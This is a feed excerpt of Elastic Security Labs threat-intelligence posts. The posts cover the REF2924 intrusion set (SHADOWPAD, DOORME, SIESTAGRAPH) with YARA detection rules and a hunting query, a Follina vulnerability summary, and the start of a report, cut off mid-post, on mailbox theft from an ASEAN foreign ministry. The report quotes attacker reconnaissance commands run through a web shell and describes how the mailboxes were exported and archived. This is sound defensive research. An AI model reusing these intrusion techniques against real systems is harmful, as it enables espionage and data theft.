<p>To execute the shellcode the sample will allocate an <a href="https://www.ired.team/offensive-security/defense-evasion/finding-all-rwx-protected-memory-regions">RWX-protected memory region</a> using the <strong>VirtualAlloc</strong> Windows API, then write the shellcode to the memory region and pass execution to it with an ESI instruction call.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image25.jpg" alt="log.dll allocate RWX memory for the shellcode" /></p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image7.png" alt="log.dll pass execution to the shellcode" /></p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image23.jpg" alt="First instruction of the shellcode" /></p>
<h3>Other SHADOWPAD research</h3>
<p>While researching shared code and techniques, Elastic Security Labs identified a <a href="https://www.secureworks.com/research/shadowpad-malware-analysis">publication from SecureWorks’ CTU</a> that describes the BitDefender sideload vulnerability. Additionally, SecureWorks has shared information describing the functionality of a file, <strong>log.dll.dat</strong> , which is consistent with our observations. The team at <a href="https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/">Positive Technologies ETC</a> also <a href="https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/">published detailed research</a> on SHADOWPAD which aligns with our research.</p>
<h3>SHADOWPAD Summary</h3>
<p>SHADOWPAD is a malware family that SecureWorks CTU has associated with the <a href="https://www.secureworks.com/research/threat-profiles/bronze-university">BRONZE UNIVERSITY</a> threat group and Positive Technologies ETC has associated with the <a href="https://www.ptsecurity.com/upload/corporate/ww-en/pt-esc/winnti-2020-eng.pdf">Winnti group</a>.</p>
<h2>Campaign and adversary modeling</h2>
<p>Our analysis of Elastic telemetry, combined with open sources and compared with third-party reporting, concludes a single nationally-aligned threat group is likely responsible. We identified relationships involving shared malware, techniques, victimology, and observed adversary priorities. Our confidence assessments vary depending on the sourcing and collection fidelity.</p>
<p>We identified significant overlaps in the work of Positive Technologies ETC and <a href="https://www.secureworks.com/research/shadowpad-malware-analysis">SecureWorks CTU</a> while researching the DOORME, SIESTAGRAPH, and SHADOWPAD implants, and believe these are related activity clusters.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image32.jpg" alt="REF2924 intersections and associations" /></p>
<p>In the following analysis, we’ll discuss the four campaigns that we associate with this intrusion set including sourcing, intersections, and how each supported our attribution across all campaigns.</p>
<ol>
<li>Winnti - reported by Positive Technologies, January 2021</li>
<li>Undisclosed REF, Winnti - observed by Elastic Security Labs, March 2022</li>
<li>REF2924, ChamelGang, Winnti - reported by Elastic Security Labs, December 2022</li>
<li>Undisclosed REF, ChamelGang - observed by Elastic Security Labs, December 2022</li>
</ol>
<h3>Winnti</h3>
<p>In January of 2021, the team at Positive Technologies ETC <a href="https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/">published research</a> that overlapped with our observations for REF2924; specifically SHADOWPAD malware deployed with the file names <strong>log.dll</strong> and <strong>log.dll.dat</strong> and using the same sample of BitDefender we observed as a DLL injection vehicle.</p>
<p>While the research from Positive Technologies ETC covered a different activity cluster, the adversary deployed a similar variant of SHADOWPAD, used a similar file naming methodology, and leveraged similar procedure-level capabilities; these consistencies contribute to our conclusion that REF2924 is related. In the graphic above, we use a dashed line to represent third-party consensus and moderate confidence because, while the reporting appears thorough and sound, we cannot independently validate all findings.</p>
<h3>Undisclosed REF, Winnti</h3>
<p>In early 2022, Elastic observed a short-lived intrusion into a telecommunications provider in Afghanistan. Using code analysis and event sampling, we internally attributed these sightings to WINNTI malware implants and external research overlaps with the <a href="https://attack.mitre.org/groups/G0044/">Winnti Group</a>. We continue to track this intrusion set, independently of and in relation to REF2924 observations.</p>
<h3>REF2924, ChamelGang, Winnti</h3>
<p>In early December 2022, we <a href="https://www.elastic.co/cn/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry">observed</a> Powershell commands used to collect and export mailboxes from an internet-connected Microsoft Exchange server for the Foreign Affairs Office of an Association of Southeast Asian Nations (ASEAN) member. Our research identified the presence of the DOORME backdoor, SHADOWPAD, and a new malware implant we call SIESTAGRAPH (discussed in the SIESTAGRAPH code analysis section above).</p>
<p>In researching the events of REF2924, we believe they are consistent with details noted by <a href="https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/new-apt-group-chamelgang/">Positive Technologies' research into ChamelGang</a>, and likely represent the actions of one group with shared goals.</p>
<h3>Undisclosed REF, ChamelGang</h3>
<p>Using the DOORME IIS backdoor that we collected during research into REF2924, we developed a scanner that identified the presence of DOORME on an internet-connected Exchange server at a second telecommunications provider in Afghanistan.</p>
<h3>Campaign associations</h3>
<p>Building associations between events, especially when relying on third-party reporting, is a delicate balance between surfacing value from specific observations and suppressing noise from circular reporting. Details reported by research teams and consisting of atomic indicators, techniques, procedures, and capabilities provide tremendous value in spotting associations between activity clusters. Elements of evidence that are repeated multiple times via circular reporting can lead to over-weighting that evidence. In analyzing these activity clusters, we have specific observations from our telemetry (host artifacts, capabilities, functionality, and adversary techniques) and third-party reporting consistent with our findings.</p>
<p>We use third-party reporting as supporting, but not factual, evidence to add context to our specific observations. It may be possible to verify a third-party had firsthand visibility of a threat, but that’s a rare luxury. We used estimative language in building associations where appropriate.</p>
<p>To uncover potential associations among these campaigns, we weighed host artifacts, tools, and TTPs more heavily than transitory atomic indicators like hashes, IP addresses, and domains.</p>
<p>We’ll discuss notable (non-exhaustive) overlaps in the following section.</p>
<h4>Campaigns 1 and 3</h4>
<p>Campaigns 1 (<a href="https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/">Winnti</a>) and 3 (<a href="https://www.elastic.co/cn/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry">REF2924, ChamelGang, Winnti</a>) are related by several elements: the use of the SHADOWPAD malware family, the specific file names ( <strong>log.dll</strong> and <strong>log.dll.dat</strong> ), and the injection technique using the same BitDefender hash.</p>
<h4>Campaigns 3 and 4</h4>
<p>Campaigns 3 (REF2924, ChamelGang, Winnti) and 4 (Undisclosed REF, ChamelGang) are related by the presence of a specifically configured DOORME backdoor and a shared national strategic interest for the adversary.</p>
<p>Using network scan results for about 180k publicly-accessible Exchange servers, and specific authentication elements uncovered while reverse engineering REF2924’s DOORME sample, we were able to identify an identical DOORME configuration at a second telecommunications provider in Afghanistan. This was a different victim than Campaign 2 (Undisclosed REF, Winnti).</p>
<p>While the DOORME IIS backdoor is not widely prevalent, simply having DOORME in your environment isn’t a strong enough data point to build an association. The presence of this DOORME configuration, when compared to a search of 180k other Exchange servers and the moderate confidence of the national strategic interests, led us to associate Campaigns 3 and 4 together with high confidence and that Campaign 4 was also a part of the same threat group.</p>
<h2>Summary</h2>
<p>DOORME allows for a threat actor to access a targeted network through the use of a backdoored IIS module on an internet-connected server. DOORME includes the capability to collect information about the infected host, upload shellcode chunks to evade detection, and execute shellcode in memory.</p>
<p>SIESTAGRAPH is an implant discovered by Elastic Security Labs that uses the Microsoft Graph API for command and control. The Graph API is used for interacting with Microsoft Office 365, so C2 communication would be largely masked by legitimate network traffic. Elastic Security Labs has reported the tenant ID hard coded into SIESTAGRAPH to Microsoft.</p>
<p>Based on our code analysis and the limited internet presence of DOORME and SIESTAGRAPH, we believe that this intrusion set is used by a limited distribution, or singular, threat actor.</p>
<p>SHADOWPAD is a modular malware family that is used as a way to load and execute shellcode onto a victim system. While it has been tracked since 2017, SHADOWPAD continues to be a capable and popular remote access and persistence tool.</p>
<p>The REF2924 intrusion set, using SIESTAGRAPH, DOORME, SHADOWPAD, and the system binary proxy execution technique (among others) represents an attack group that appears focused on priorities that, when observed across campaigns, align with a sponsored national strategic interest.</p>
<h2>Detections</h2>
<h3>Hunting queries</h3>
<p>Hunting queries are used as a starting point for potentially malicious events, but because every environment is different, an investigation should be completed.</p>
<p>The following KQL query can be used to hunt for additional behaviors related to SIESTAGRAPH. This query looks for processes that are making DNS queries to graph.microsoft.com where the process does not have a trusted code-signing certificate or the process is not signed by Microsoft.</p>
<pre><code>dns.question.name : &quot;graph.microsoft.com&quot; and (process.code_signature.trusted : “false” or not (process.code_signature.subject_name : &quot;Microsoft Windows&quot; or process.code_signature.subject_name : &quot;Microsoft Windows Publisher&quot; or process.code_signature.subject_name : &quot;Microsoft Corporation&quot;)) and process.name : *
</code></pre>
<h3>Signatures</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_DoorMe.yar">Windows.Trojan.DoorMe</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_SiestaGraph.yar">Windows.Trojan.SiestaGraph</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_ShadowPad.yar">Windows.Trojan.ShadowPad</a></li>
</ul>
<h3>YARA rules</h3>
<h4>The DOORME IIS module</h4>
<pre><code>rule Windows_Trojan_DoorMe {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2022-12-09&quot;
        last_modified = &quot;2022-12-15&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;DoorMe&quot;
        threat_name = &quot;Windows.Trojan.DoorMe&quot;
        license = &quot;Elastic License v2&quot;
    strings:
        $seq_aes_crypto = { 8B 6C 24 ?? C1 E5 ?? 8B 5C 24 ?? 8D 34 9D ?? ?? ?? ?? 0F B6 04 31 32 44 24 ?? 88 04 29 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 32 44 24 ?? 88 44 29 ?? 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 44 30 F8 88 44 29 ?? 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 44 30 E0 88 44 29 ?? 8B 74 24 ?? }
        $seq_copy_str = { 48 8B 44 24 ?? 48 89 58 ?? 48 89 F1 4C 89 F2 49 89 D8 E8 ?? ?? ?? ?? C6 04 1E ?? }
        $seq_md5 = { 89 F8 44 21 C8 44 89 C9 F7 D1 21 F1 44 01 C0 01 C8 44 8B AC 24 ?? ?? ?? ?? 8B 9C 24 ?? ?? ?? ?? 48 89 B4 24 ?? ?? ?? ?? 44 89 44 24 ?? 46 8D 04 28 41 81 C0 ?? ?? ?? ?? 4C 89 AC 24 ?? ?? ?? ?? 41 C1 C0 ?? 45 01 C8 44 89 C1 44 21 C9 44 89 C2 F7 D2 21 FA 48 89 BC 24 ?? ?? ?? ?? 8D 2C 1E 49 89 DC 01 D5 01 E9 81 C1 ?? ?? ?? ?? C1 C1 ?? 44 01 C1 89 CA 44 21 C2 89 CD F7 D5 44 21 CD 8B 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 8D 1C 07 01 EB 01 DA 81 C2 ?? ?? ?? ?? C1 C2 ?? }
        $seq_calc_key = { 31 FF 48 8D 1D ?? ?? ?? ?? 48 83 FF ?? 4C 89 F8 77 ?? 41 0F B6 34 3E 48 89 F1 48 C1 E9 ?? 44 0F B6 04 19 BA ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 83 E6 ?? 44 0F B6 04 1E BA ?? ?? ?? ?? 48 8B 4D ?? E8 ?? ?? ?? ?? 48 83 C7 ?? }
        $seq_base64 = { 8A 45 ?? 8A 4D ?? C0 E0 ?? 89 CA C0 EA ?? 80 E2 ?? 08 C2 88 55 ?? C0 E1 ?? 8A 45 ?? C0 E8 ?? 24 ?? 08 C8 88 45 ?? 41 83 C4 ?? 31 F6 44 39 E6 7D ?? 66 90 }
        $str_0 = &quot;.?AVDoorme@@&quot; ascii fullword
    condition:
        3 of ($seq*) or 1 of ($str*)
}
</code></pre>
<h4>The SIESTAGRAPH implant</h4>
<pre><code>rule Windows_Trojan_SiestaGraph {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2022-12-14&quot;
        last_modified = &quot;2022-12-15&quot;
        os = &quot;windows&quot;
        arch_context = &quot;x86&quot;
        category_type = “Trojan”
        family = “SiestaGraph”
        threat_name = &quot;Windows.Trojan.SiestaGraph&quot;
        license = &quot;Elastic License v2&quot;
    strings:
        $a1 = &quot;downloadAsync&quot; ascii nocase fullword
        $a2 = &quot;UploadxAsync&quot; ascii nocase fullword
        $a3 = &quot;GetAllDriveRootChildren&quot; ascii fullword
        $a4 = &quot;GetDriveRoot&quot; ascii fullword
        $a5 = &quot;sendsession&quot; wide fullword
        $b1 = &quot;ListDrives&quot; wide fullword
        $b2 = &quot;Del OK&quot; wide fullword
        $b3 = &quot;createEmailDraft&quot; ascii fullword
        $b4 = &quot;delMail&quot; ascii fullword
    condition:
        all of ($a*) and 2 of ($b*)
}
</code></pre>
<h4>The SHADOWPAD malware family</h4>
<pre><code>rule Windows_Trojan_ShadowPad_1 {
	meta:
		author = &quot;Elastic Security&quot;
		creation_date = &quot;2023-01-23&quot;
		last_modified = &quot;2023-01-31&quot;
		description = &quot;Target SHADOWPAD obfuscation loader+payload&quot;
		os = &quot;Windows&quot;
		arch = &quot;x86&quot;
		category_type = &quot;Trojan&quot;
		family = &quot;ShadowPad&quot;
		threat_name = &quot;Windows.Trojan.ShadowPad&quot;
		license = &quot;Elastic License v2&quot;
	strings:
		$a1 = { 87 0? 24 0F 8? }
		$a2 = { 9C 0F 8? }
		$a3 = { 03 0? 0F 8? }
		$a4 = { 9D 0F 8? }
		$a5 = { 87 0? 24 0F 8? }
	condition:
		all of them
}
rule Windows_Trojan_Shadowpad_2 {
	meta:
		author = &quot;Elastic Security&quot;
		creation_date = &quot;2023-01-31&quot;
		last_modified = &quot;2023-01-31&quot;
		description = &quot;Target SHADOWPAD loader&quot;
		os = &quot;Windows&quot;
		arch = &quot;x86&quot;
		category_type = &quot;Trojan&quot;
		family = &quot;Shadowpad&quot;
		threat_name = &quot;Windows.Trojan.Shadowpad&quot;
		license = &quot;Elastic License v2&quot;
	strings:
		$a1 = &quot;{%8.8x-%4.4x-%4.4x-%8.8x%8.8x}&quot;
	condition:
		all of them
}
rule Windows_Trojan_Shadowpad_3 {
	meta:
		author = &quot;Elastic Security&quot;
		creation_date = &quot;2023-01-31&quot;
		last_modified = &quot;2023-01-31&quot;
		description = &quot;Target SHADOWPAD payload&quot;
		os = &quot;Windows&quot;
		arch = &quot;x86&quot;
		category_type = &quot;Trojan&quot;
		family = &quot;Shadowpad&quot;
		threat_name = &quot;Windows.Trojan.Shadowpad&quot;
		license = &quot;Elastic License v2&quot;
	strings:
		$a1 = &quot;hH#whH#w&quot; fullword
		$a2 = &quot;Yuv~YuvsYuvhYuv]YuvRYuvGYuv1:tv&lt;Yuvb#tv1Yuv-8tv&amp;Yuv&quot; fullword
		$a3 = &quot;pH#wpH#w&quot; fullword
		$a4 = &quot;HH#wHH#wA&quot; fullword
		$a5 = &quot;xH#wxH#w:$&quot; fullword
		$re1 = /(HTTPS|TCP|UDP):\/\/[^:]+:443/
	condition:
		4 of them
}
</code></pre>
<h2>References</h2>
<ul>
<li><a href="https://www.elastic.co/cn/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry">https://www.elastic.co/cn/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry</a></li>
<li><a href="https://www.microsoft.com/en-us/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/">https://www.microsoft.com/en-us/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/</a></li>
<li><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.shadowpad">https://malpedia.caad.fkie.fraunhofer.de/details/win.shadowpad</a></li>
<li><a href="https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/">https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/</a></li>
<li><a href="https://www.secureworks.com/research/shadowpad-malware-analysis">https://www.secureworks.com/research/shadowpad-malware-analysis</a></li>
<li><a href="https://www.secureworks.com/research/threat-profiles/bronze-university">https://www.secureworks.com/research/threat-profiles/bronze-university</a></li>
<li><a href="https://www.ptsecurity.com/upload/corporate/ww-en/pt-esc/winnti-2020-eng.pdf">https://www.ptsecurity.com/upload/corporate/ww-en/pt-esc/winnti-2020-eng.pdf</a></li>
<li><a href="https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/new-apt-group-chamelgang/">https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/new-apt-group-chamelgang/</a></li>
</ul>
<h2>Indicators</h2>
<p>Artifacts are available from the <a href="https://www.elastic.co/cn/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry#observables">previously published REF2924 research</a>.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/cn/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/photo-edited-02@2x.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Vulnerability summary: Follina, CVE-2022-30190]]></title>
            <link>https://www.elastic.co/cn/security-labs/vulnerability-summary-follina</link>
            <guid>vulnerability-summary-follina</guid>
            <pubDate>Thu, 19 Jan 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic is deploying a new malware signature to identify the use of the Follina vulnerability. Learn more in this post.]]></description>
            <content:encoded><![CDATA[<p>On May 27, 2022, the nao_sec independent security research group shared a VirusTotal link to a weaponized Microsoft Office document revealing a previously unknown vulnerability in the Microsoft Support Diagnostic Tool (MSDT). This vulnerability is most likely to be exploited via phishing lure attachments and is triggered when a document is opened. Readers should expect this vulnerability to be adopted by threats of all kinds and be aware that it enables arbitrary code to be executed as outlined in Microsoft’s <a href="https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/">&lt;u&gt;disclosure&lt;/u&gt;</a>.</p>
<h2>Summary</h2>
<p>Readers may <a href="https://www.elastic.co/cn/blog/playing-defense-against-gamaredon-group">&lt;u&gt;recall&lt;/u&gt;</a> that template injection is an <a href="https://attack.mitre.org/techniques/T1221/">&lt;u&gt;established&lt;/u&gt;</a> technique enabling an attacker to remotely load malicious content when a document is opened by a relevant application. This vulnerability — dubbed “<a href="https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e">&lt;u&gt;Follina&lt;/u&gt;</a>” — works in conjunction with template injection, specifically when the remote template uses the ms-msdt URI handler. Importantly, it does not require macros to be enabled. As in other cases of template injection, readers should be aware that remote objects may be heavily obfuscated.</p>
<p>Security teams should monitor msdt.exe as a child process of WINWORD.exe and other applications, paying particular attention to command line arguments and network activity attributed to that child process. Security teams may also consider monitoring network activity from all MS Office applications and their descendants as one way of generically identifying initial exploitation attempts via weaponized documents.</p>
<p>Elastic is deploying a new malware signature to identify the use of ms-msdt URIs. This signature will be distributed via the Elastic Endpoint. The team has also issued an update to the “<a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/initial_access_suspicious_ms_office_child_process.toml">&lt;u&gt;Suspicious MS Office Child Process&lt;/u&gt;</a>” rule available via the <a href="https://github.com/elastic/detection-rules">&lt;u&gt;detection-rules repository&lt;/u&gt;</a>, adding “msdt.exe” to the list of suspicious descendants and “Outlook.exe” to the list of relevant parent processes. The following query pertains to Elastic Endgame:</p>
<pre><code>Network where process_name == “msdt.exe” and
descendant of  [process where process_name == “winword.exe” ]
| unique process_name, command_line
</code></pre>
<h2>References</h2>
<p>Several organizations have released information and resources related to this vulnerability (non-exhaustive):</p>
<ul>
<li>Microsoft’s <a href="https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/">&lt;u&gt;guidance&lt;/u&gt;</a>, outlining one method of disabling the MSDT URL protocol</li>
<li>Huntress has provided their <a href="https://www.huntress.com/blog/microsoft-office-remote-code-execution-follina-msdt-bug">&lt;u&gt;analysis&lt;/u&gt;</a> of the vulnerability with additional information about ms-msdt abuse Todyl has shared an <a href="https://twitter.com/brent_murphy/status/1531322468228399104?t=yX_zDYE4ew6gA4am6a75Ug&amp;s=09">&lt;u&gt;Elastic query &lt;/u&gt;</a>pertaining to process events</li>
</ul>
<p>Kevin Beaumont has provided a <a href="https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e">&lt;u&gt;write-up&lt;/u&gt;</a> with historical and other details about potential implementations.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/cn/security-labs/assets/images/vulnerability-summary-follina/blog-security-detection-720x420.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[SiestaGraph: New implant uncovered in ASEAN member foreign ministry]]></title>
            <link>https://www.elastic.co/cn/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry</link>
            <guid>siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry</guid>
            <pubDate>Fri, 16 Dec 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs is tracking likely multiple on-net threat actors leveraging Exchange exploits, web shells, and the newly discovered SiestaGraph implant to achieve and maintain access, escalate privilege, and exfiltrate targeted data.]]></description>
            <content:encoded><![CDATA[<h2>Key takeaways</h2>
<ul>
<li>Likely multiple threat actors are accessing and performing live on-net operations against the Foreign Affairs Office of an ASEAN member using a likely vulnerable, and internet-connected, Microsoft Exchange server. Once access was achieved and secured, the mailboxes of targeted individuals were exported.</li>
<li>Threat actors deployed a custom malware backdoor that leverages the Microsoft Graph API for command and control, which we’re naming SiestaGraph.</li>
<li>A modified version of an IIS backdoor called DoorMe was leveraged with new functionality to allocate shellcode and load additional implants.</li>
</ul>
<h2>Preamble</h2>
<p>In early December, Elastic Security Labs observed Powershell commands used to collect and export mailboxes from an internet-connected Microsoft Exchange server for the Foreign Affairs Office of an Association of Southeast Asian Nations (ASEAN) member.</p>
<p>In spite of diverse security instrumentation observed during this activity, the threat actors were able to achieve:</p>
<ul>
<li>The execution of malware on Exchange Servers, Domain Controllers, and workstations</li>
<li>Exfiltration of targeted user and group mailboxes</li>
<li>Deploy web shells</li>
<li>Move laterally to user workstations</li>
<li>Perform internal reconnaissance</li>
<li>Collect Windows credentials</li>
</ul>
<p>Because the intrusion is ongoing and covers almost the entire MITRE ATT&amp;CK framework, the analysis sections will use a timeline approach.</p>
<blockquote>
<p>For a deep dive analysis of the SIESTAGRAPH, DOORME, or SHADOWPAD malware families, check out our <a href="https://www.elastic.co/cn/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns">follow on publication</a> that covers those in detail. In addition, there are associations between this campaign and others based on other observations and 3rd party reporting.</p>
<p><em>Updated: 2/2/2023</em></p>
</blockquote>
<h2>Analysis</h2>
<p>The investigation, which we’re tracking as REF2924, began with the execution of a Powershell command used to export a user mailbox. While this is a normal administrative function, the commands were executed with a process ancestry starting with the IIS Worker Process ( <strong>w3wp.exe</strong> ) as a parent process of <strong>cmd.exe</strong> , and <strong>cmd.exe</strong> executing Powershell.</p>
<p>These events started the investigation that later identified multiple threat actors within the contested network environment.</p>
<p>The first events observed from this cluster of activity were on November 26, 2022, with the detection of a malicious file execution on a Domain Controller. Because of this, it is likely <a href="https://docs.elastic.co/en/integrations/endpoint">Elastic Defend</a> was deployed post-initial compromise and was deployed in “Detect” mode. Throughout our analysis, we observed other security instrumentation tools in the environment indicating the victim was aware of the intrusion and trying to evict the threat actors.</p>
<p>Because of the multiple malware samples achieving similar goals, various DLL sideloading observations, and the presence of a likely internet-connected Exchange server; we believe that there are multiple threat actors or threat groups working independently or in tandem with each other.</p>
<h3>November 26–30, 2022</h3>
<h4>Malware execution</h4>
<p>The earliest known evidence of compromise occurred on November 26, 2022, with the execution of a file called <strong>OfficeClient.exe</strong> executed from **C:\ProgramData\Microsoft** on a Domain Controller.</p>
<p>10-minutes after <strong>OfficeClient.exe</strong> was executed on the Domain Controller, another malicious file was executed on another Windows 2019 server. This file was called <strong>Officeclient.exe</strong> and executed from **c:\windows\pla**. On November 28, 2022, <strong>officeup.exe</strong> was executed on this same Windows 2019 server from **C:\programdata**.</p>
<p>On November 29, 2022, the <strong>OfficeClient.exe</strong> file was executed on an Exchange server as <strong>C:\ProgramData\OfficeCore.exe</strong>.</p>
<p>All three of these files ( <strong>OfficeClient.exe</strong> , <strong>Officeclient.exe</strong> , and <strong>OfficeCore.exe</strong> ) have an original PE file name of <strong>windowss.exe</strong> , which is the file name assigned at compile time. We are naming this malware family “SiestaGraph” because of the long sleep timer and the way that the malware uses the Microsoft Graph API for command and control.</p>
<p>As of December 8, 2022, we observed a variant of SiestaGraph in <a href="https://www.virustotal.com/gui/file/50c2f1bb99d742d8ae0ad7c049362b0e62d2d219b610dcf25ba50c303ccfef54">VirusTotal</a>, uploaded from the Netherlands on October 14, 2022. SiestaGraph makes use of a .NET API <a href="https://github.com/KoenZomers/OneDriveAPI">library</a> that functions as an alternative to using Microsoft Graph, which is an API to interact with Microsoft cloud, including Microsoft 365, Windows, and Enterprise Mobility + Security.</p>
<h4>Internal reconnaissance</h4>
<p>On November 28, 2022, the threat actor began performing internal reconnaissance by issuing standard commands such as <strong>whoami</strong> , <strong>hostname</strong> , <strong>tasklist</strong> , etc. These commands were executed with a process ancestry starting with the IIS Worker Process ( <strong>w3wp.exe</strong> ) as a parent process of <strong>cmd.exe</strong> , and <strong>cmd.exe</strong> executing the commands.</p>
<pre><code>cmd.exe /c cd /d C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes\resources&quot;&amp;whoami

cmd.exe /c cd /d C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes\resources&quot;&amp;hostname

cmd.exe /c cd /d C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes\resources&quot;&amp;tasklist
</code></pre>
<p>Additional adversary reconnaissance was performed to enumerate local network assets as well as victim assets at embassies and consulates abroad. There has been no indication that this information has been subsequently exploited for additional access or information at this time.</p>
<p>On November 29, 2022, the threat actor began collecting domain user and group information with the <strong>net user</strong> and <strong>net group</strong> commands, again issued as child processes of <strong>w3wp.exe</strong> and <strong>cmd.exe</strong>. These commands confirmed that this was not an entirely scripted campaign and included an active operator by the fact that they forgot to add the <strong>/domain</strong> syntax to two of the 20 <strong>net user</strong> commands. While the <strong>net user</strong> command does not require the <strong>/domain</strong> syntax, the fact that this was only on two of the 20 occurrences, it was likely an oversight by the operator. This was the first of multiple typographical errors observed throughout this campaign.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry/image5.jpg" alt="Example of a typographical error (“yupe” instead of “type”) showing an active operator" /></p>
<h4>Exporting Exchange mailboxes</h4>
<p>On November 28, 2022, the threat actor started to export user mailboxes, again using the <strong>w3wp.exe</strong> process as a parent for <strong>cmd.exe</strong> , and finally Powershell. The threat actor added the <strong>Microsoft.Exchange.Management.PowerShell.SnapIn</strong> module. This module provides the ability to manage Exchange functions using Powershell and was used to export the mailboxes of targeted Foreign Service Officers and saved them as PST files.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry/image11.jpg" alt="Abnormal process spawned from IIS Worker" /></p>
<p>In the above example, the <strong>Received -gt</strong> and <strong>Sent -gt</strong> dates timebox the collection window as all emails sent and received after ( <strong>gt</strong> is an acronym for “greater than”) November 15, 2022. The timeboxing was not uniform across all mailboxes and this process was repeated multiple times. Again, in the above example from November 28, 2022, the timebox was for all sent and received emails from November 15, 2022, to the current date (November 28, 2022); on December 6, 2022, the mailbox was exported again, this time with a <strong>gt</strong> value of November 28, 2022, which was the date of the last export.</p>
<p>In another example in this phase, the threat actors targeted a mailbox called <strong>csirt</strong>. While this is unconfirmed, “csirt” is commonly an acronym for Cyber Security Incident Response Team.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry/image6.jpg" alt="CSIRT mailbox exported" /></p>
<p>Taking into consideration the timebox used on the <strong>csirt</strong> export, if this is the industry standard acronym of CSIRT, the intrusion could have started as early as September 1, 2022, and the threat actors were monitoring the CSIRT to identify if their intrusion had been detected.</p>
<p>Throughout this phase, a total of 24 mailboxes were exported.</p>
<p>Once the mailboxes were exported, the threat actor created a 7zip archive called <strong>7.tmp</strong> with a password of <strong>huebfkaudfbaksidfabsdf</strong>.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry/image4.jpg" alt="Creating password-protected Zip archive" /></p>
<p>Three of the mailboxes, one of which being the <strong>csirt</strong> mailbox, were archived individually. These three mailboxes were archived with a <strong>.log.rar</strong> or <strong>.log</strong> file extension.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry/image14.jpg" alt="Targeted mailboxes archived individually (partially obfuscated as two PST files have user initials)" /></p>
<p>Finally, the threat actor created a 200m 7zip archive called <strong>o.7z</strong> and added the previously created, password-protected, <strong>7.tmp</strong> archive to it.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry/image13.jpg" alt="o.7z created from 7.tmp" /></p>
<h4>IIS backdoor module</h4>
